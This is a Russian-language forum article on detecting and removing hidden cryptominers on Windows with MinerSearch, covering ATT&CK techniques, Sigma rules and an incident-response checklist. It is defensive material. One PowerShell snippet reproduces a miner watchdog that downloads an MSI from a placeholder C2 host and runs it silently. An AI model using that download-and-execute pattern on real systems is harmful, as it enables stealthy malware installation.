Статья MinerSearch: обнаружение майнера в Windows — от ручного анализа до автоматического удаления

Планшет для пентеста на тёмном антистатическом коврике. На ярком экране — интерфейс MinerSearch с деревом процессов, строкой обнаружения майнера и красной кнопкой завершения процесса.


На прошлом инциденте мы полтора часа искали причину аномальной нагрузки на сервере терминалов: CPU держался на 87% при пустых RDP-сессиях. Process Explorer показал процесс conhost.exe, запущенный из C:\ProgramData\Microsoft\Crypto\ - директории, где настоящий conhost никогда не появляется. XMRig, замаскированный под системный процесс, тихо майнил через порт 3333. Endpoint-антивирус молчал три недели - майнер использовал process hollowing и в сигнатурную базу не попадал. Именно такие кейсы делают специализированный инструмент MinerSearch полезным: он ищет не «вирусы вообще», а конкретные паттерны поведения криптомайнеров. Разберём, как MinerSearch обнаруживает скрытые майнеры изнутри, какие техники используют злоумышленники, и что делать руками, когда автоматика буксует.

Бизнес-логика скрытого майнинга: зачем это злоумышленнику​

Скрытый майнер - одна из самых «тихих» угроз. В отличие от шифровальщика, который заявляет о себе сразу, криптомайнер генерирует стабильный пассивный доход месяцами. Схема простая: заразить максимум машин, добывать Monero (XMR) через пулы, минимизировать шум.

Финансовый импакт для жертвы далеко не символический. На серверах - рост счетов за электроэнергию и деградация SLA. На терминальных серверах - жалобы пользователей на тормоза. На рабочих станциях - ускоренный износ GPU и блоков питания. Отдельные семейства (например, Smominru) совмещают майнинг с DDoS и проксированием трафика, превращая машину в часть ботнет-инфраструктуры.

Типичная цепочка атаки (kill chain) скрытого майнера на Windows:
  1. Initial Access - фишинг, пиратское ПО, эксплуатация уязвимости в публичном сервисе (Exploit Public-Facing Application, T1190)
  2. Execution - запуск загрузчика через PowerShell, cmd или Windows Installer (MSI)
  3. Persistence - создание службы, задачи в планировщике (Scheduled Task, T1053.005), запись в Run-ключи реестра
  4. Defense Evasion - маскировка под системный процесс (Masquerading, T1036), обфускация (Deobfuscate/Decode Files or Information, T1140), process injection в svchost.exe
  5. Discovery - поиск конкурирующих майнеров через сетевые соединения (System Network Connections Discovery, T1049)
  6. Impact - запуск XMRig / lolMiner и подключение к пулу
MinerSearch работает на этапах 3–5: проверяет следы закрепления, ищет замаскированные процессы и файлы, анализирует точки автозагрузки.

Как скрытый майнер закрепляется в Windows: техники по MITRE ATT&CK​

Masquerading - маскировка под системные процессы (T1036)​

Самая распространённая техника - переименование бинаря майнера в svchost.exe, conhost.exe, csrss.exe и размещение в нестандартных директориях. Настоящий svchost.exe запускается только из C:\Windows\System32\, и его родительский процесс - services.exe. Любое отклонение - красный флаг.

[Применимо: Windows 10/11, внутренний пентест / IR]

По данным Trend Micro, семейство Coinminer.Win32.MALXMR использует Windows Installer (MSI) для доставки и размещает файлы в %AppData%\Roaming\Microsoft\Windows\Template\FileZilla Server. После установки создаются три процесса svchost.exe для инъекции вредоносного кода: два работают как watchdog (перезагружают майнер при завершении), третий выполняет майнинг. Это усложняет удаление: убьёшь один процесс - watchdog поднимет его за секунды.

В каталоге LOLBAS несколько легитимных Windows-утилит годятся для masquerading - например, Diantz.exe и Makecab.exe (оба помечены для T1036). В Atomic Red Team есть готовый тест «System File Copied to Unusual Location» (PowerShell, Windows): он копирует системный файл в нестандартный каталог, воспроизводя именно то поведение, которое ищет MinerSearch при сканировании файловой системы.

Контрмеры по D3FEND: File Analysis (D3-FA), File Integrity Monitoring (D3-FIM) и Dynamic Analysis (D3-DA) - все три нацелены на обнаружение маскировки исполняемых файлов.

Обфускация и доставка полезной нагрузки (T1140)​

Майнеры доставляются в закодированном виде. На Windows для декодирования нередко используется [URL='https://lolbas-project.github.io/lolbas/Binaries/Certutil/']certutil.exe -decode[/URL] - штатная утилита для работы с сертификатами, внесённая в каталог LOLBAS как инструмент для Deobfuscate/Decode Files or Information (T1140). В случае Coinminer.Win32.MALXMR вредонос маскировал ZIP-архив под файл иконки (icon.ico), а внутри лежал загрузчик (default.ocx) и зашифрованный майнинг-модуль (default.bin).

Watchdog-процессы используют PowerShell для повторной загрузки MSI-файла при обнаружении завершения майнера:
Код:
# Воспроизведение паттерна из отчёта Trend Micro (пример для демонстрации концепции)
$cli = New-Object System.Net.WebClient
$cli.Headers['User-Agent'] = 'Windows Installer'
$f = "$env:TEMP\payload.msi"
$cli.DownloadFile('https://<C2-server>/update.txt', $f)
Start-Process $f -ArgumentList '/q'
Детект этого паттерна возможен через Sigma-правило proc_creation_win_powershell_base64_frombase64string.yml из SigmaHQ - оно отлавливает использование FromBase64String в аргументах PowerShell. Правило proc_creation_win_certutil_susp_execution.yml ловит подозрительные вызовы certutil.

Закрепление: службы и планировщик задач​

[Применимо: Windows 10/11, IR / threat hunting]

На Windows майнеры закрепляются через три основных вектора:
  • Scheduled Tasks (T1053.005) - задачи в планировщике с запуском бинаря из нестандартных путей (%TEMP%, %AppData%)
  • Службы Windows - регистрация службы без валидной цифровой подписи
  • Run-ключи реестра - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run и аналогичные ветки
MinerSearch проверяет все три вектора. Для служб применяется верификация цифровой подписи: нет подписи или невалидна - служба помечается как подозрительная. Тут есть нюанс: редкие легитимные службы тоже бывают без подписи. Поэтому MinerSearch разделяет результаты на «удалено» (совпадение сигнатуры) и «карантин» (подозрение) - чтобы можно было восстановить ложные срабатывания.

Криптомайнеры на Linux используют другие механизмы закрепления - в частности, cron jobs. Техника T1053.003 (Cron) применима исключительно к Linux/macOS. Исследование Red Canary по группировке Rocke показывает, как злоумышленники размещают скрипты в /etc/cron.hourly/, /etc/cron.daily/ и напрямую редактируют файлы crontab. MinerSearch к Linux неприменим - это исключительно Windows-инструмент.

MinerSearch: архитектура инструмента и что он проверяет​

MinerSearch - бесплатная утилита на GitHub (BlendLog/MinerSearch), написанная на .NET. Проект обсуждается на профильных площадках: SafeZone.cc, remontka.pro, Codeby. Разработчик присутствует в Telegram и принимает обратную связь через GitHub Issues. Последние релизы распространяются без пароля на архив - проект живой и поддерживается.

Требования к окружению​

  • ОС: Windows 10 / Windows 11 (Windows 7/8 - с ограничениями)
  • .NET Framework: версия 4.7.1 или новее (предустановлен в Windows 10/11)
  • Привилегии: запуск строго от имени администратора
  • Режим: обычная загрузка Windows (НЕ безопасный режим)
  • RAM: работает на машинах от 2 ГБ, дополнительных ресурсов не требует
  • Антивирус: Microsoft Defender, Kaspersky Endpoint Security и другие могут заблокировать MinerSearch - утилита вносит изменения в реестр и файловую систему. Решение: временно добавить в исключения (под ответственность аналитика)
  • Сеть: не требуется - полностью офлайн-сканирование

Этапы сканирования - что происходит под капотом​

  1. Руткит-проверка. Поиск руткитов уровня ядра, способных скрывать процессы из диспетчера задач. Если руткит сидит в системе - все остальные проверки бессмысленны, майнер просто не будет виден.
  2. Анализ запущенных процессов. Проверка активных процессов на masquerading: несовпадение имени и пути к бинарю, запуск из нехарактерных директорий. Подозрительные процессы принудительно завершаются.
  3. Сканирование файловой системы. Обход типичных директорий размещения майнеров: %TEMP%, %AppData%, C:\ProgramData. Файлы сопоставляются с сигнатурами XMRig, lolMiner, PhoenixMiner и других известных майнеров.
  4. Анализ реестра. Проверка Run-ключей и других точек автозагрузки.
  5. Проверка планировщика задач. Поиск задач с путём к бинарю из нестандартных директорий.
  6. Проверка служб. Верификация цифровых подписей. Без валидной подписи - служба помечается как подозрительная.
  7. Сигнатурное сканирование. Полный обход исполняемых файлов на системном диске.
Результат каждого этапа отображается в консоли: «No threats found» или «Found threats: N». Подробный лог сохраняется в C:\_MinerSearch_Logs\.

Параметры для точечных проверок​

Для blue team часто нужна возможность провести сканирование без автоматического лечения - сначала изучить отчёт, потом принять решение. MinerSearch поддерживает гранулярное управление через флаги: --no-rootkit-check, --no-runtime, --no-services, --no-signature-scan. Можно комбинировать в любом порядке, регистр не важен.

Файлы, определённые как подозрительные (но не подтверждённые сигнатурами), помещаются в папку minersearch_quarantine рядом с исполняемым файлом. Вредоносные файлы (совпадение по сигнатуре) удаляются без запроса. После завершения сканирования обязательно проверьте карантин - туда может попасть легитимное ПО без подписи.

Ручное обнаружение криптомайнера: пошаговый чеклист​

📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме

и C:\Program Files\, службы с ImagePath в нестандартных директориях.

Шаг 3: Sysmon и Windows Event Log. Если Sysmon установлен (а для SOC это must-have), проверяем три типа событий. Event ID 1 (Process Create) - ищем создание процессов из временных директорий с аргументами, содержащими --config, --url, stratum+tcp://. Event ID 3 (Network Connection) - соединения на порты пулов (3333, 4444, 5555). Event ID 7 (Image Loaded) - загрузка DLL из нестандартных путей в svchost.exe.

Без Sysmon анализ сильно ограничен: стандартные журналы Windows не логируют command line процессов и сетевые соединения с достаточной детализацией. В SigmaHQ есть готовые правила для детекта: posh_pm_susp_get_nettcpconnection.yml для мониторинга подозрительных вызовов Get-NetTCPConnection, а правило proc_creation_win_net_use_network_connections_discovery.yml отслеживает разведку сетевых соединений.

Шаг 4: повторная проверка после перезагрузки. Если майнер найден и удалён - перезагрузите машину и повторите шаги 1–2. Watchdog-механизмы могут восстановить майнер из резервной копии или повторно скачать его с C2-сервера.

Ограничения MinerSearch и когда его недостаточно​

  1. Только Windows. Linux-серверы, где криптомайнеры тоже распространены (особенно через уязвимости в Redis, Weblogic, Apache Struts - Exploit Public-Facing Application, T1190), MinerSearch не покрывает. Для Linux нужны другие инструменты: rkhunter, chkrootkit, ручной анализ cron jobs и /proc.
  2. Сигнатурная база ограничена. Новые или модифицированные варианты майнеров, не попавшие в базу, могут пролететь мимо. MinerSearch дополняет сигнатурный подход поведенческими проверками (пути, подписи, руткиты), но полноценный EDR не заменяет. Для enterprise-уровня детекта криптомайнеров существуют ML-подходы - например, Sysdig описывает модель классификации на основе runtime-анализа syscalls с акцентом на минимизацию false positives.
  3. Ложные срабатывания. Корпоративные службы без цифровой подписи могут быть остановлены. Всегда изучайте лог и проверяйте карантин перед продакшн-использованием.
  4. Не детектирует веб-майнеры. Криптоджекинг через JavaScript (бывший CoinHive и аналоги) - вне зоны действия MinerSearch.
  5. Не масштабируется. Это утилита для одной машины. Для проверки парка хостов нужен Velociraptor, SCCM с custom-скриптами или EDR с правилами детекта.
  6. Антивирус может заблокировать MinerSearch. На заражённой машине майнер может дополнительно блокировать скачивание утилит безопасности - по данным remontka.pro, в таком случае помогает AV Block Remover или загрузка с Kaspersky Rescue Disk.

Чем MinerSearch отличается от антивирусных сканеров​

КритерийMinerSearchKaspersky Virus Removal ToolDr.Web CureIt!Malwarebytes
СпециализацияТолько майнерыВсе типы угрозВсе типы угрозВсе типы угроз
Руткит-проверкаДаДаДаЧастично
Проверка служб по подписиДаНетНетНет
Очистка реестра от артефактовДаНетНетЧастично
Проверка планировщика задачДаНетНетНет
Сигнатурная базаУзкая (майнеры)ШирокаяШирокаяШирокая
Офлайн-работаДаДаДаНет
СтоимостьБесплатноБесплатноБесплатноFreemium
Enterprise-масштабированиеНетНетНетЧерез консоль

Когда использовать MinerSearch: подозрение именно на криптомайнер, антивирус не справляется, нужна глубокая проверка механизмов закрепления (реестр, службы, планировщик).

Когда MinerSearch недостаточно: заражение комплексным вредоносом (шифровальщик + майнер), нужно проверить десятки хостов, Linux-среда, нужна ML-детекция неизвестных семейств.

Готовый чеклист для SOC: поиск скрытого майнера​

Нумерованный список для включения в IR-playbook:
  1. Проверить загрузку CPU/GPU в диспетчере задач - аномалия >50% при простое
  2. Запустить проверку masquerading: Get-Process svchost | Where-Object {$_.Path -notlike "[I]System32[/I]"}
  3. Проверить сетевые соединения с пулами на портах 3333, 4444, 5555, 14444
  4. Запустить Autoruns - проверить автозагрузку, службы без подписи, задачи планировщика
  5. Скачать MinerSearch с GitHub (BlendLog/MinerSearch), запустить от имени администратора
  6. Изучить лог в C:\_MinerSearch_Logs\ - записи с пометкой «Found threats»
  7. Проверить карантин minersearch_quarantine - исключить ложные срабатывания
  8. Перезагрузить машину и повторить шаги 1–3 - убедиться, что watchdog не восстановил майнер
  9. Проверить Sysmon (Event ID 1, 3, 7) за последние 30 дней - определить момент первичного заражения
  10. Запустить KVRT или Dr.Web CureIt! для поиска сопутствующего вредоносного ПО
Большинство гайдов по удалению майнеров сводятся к формуле «скачай, запусти, перезагрузись». На практике я раз за разом вижу одну и ту же картину: аналитик запускает сканер, получает зелёный отчёт, а через неделю загрузка CPU снова на 90%. Проблема не в инструменте - проблема в том, что никто не ищет вектор первичного заражения. MinerSearch отлично находит и убивает процесс, чистит реестр и отключает службу, но если точка входа - открытый RDP, непатченный сервис, пользователь с правами локального админа - остаётся нетронутой, повторное заражение вопрос дней. На каждом разборе инцидента с криптомайнером я начинаю с вопроса «как он попал?» и только потом перехожу к «как его убрать». Без ответа на первый вопрос MinerSearch - обезболивающее, а не лечение. Если интересно, как другие команды строят детект и расследуют криптомайнеры - на форуме codeby.net разбираем подобные кейсы с IoC и Sigma-правилами.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab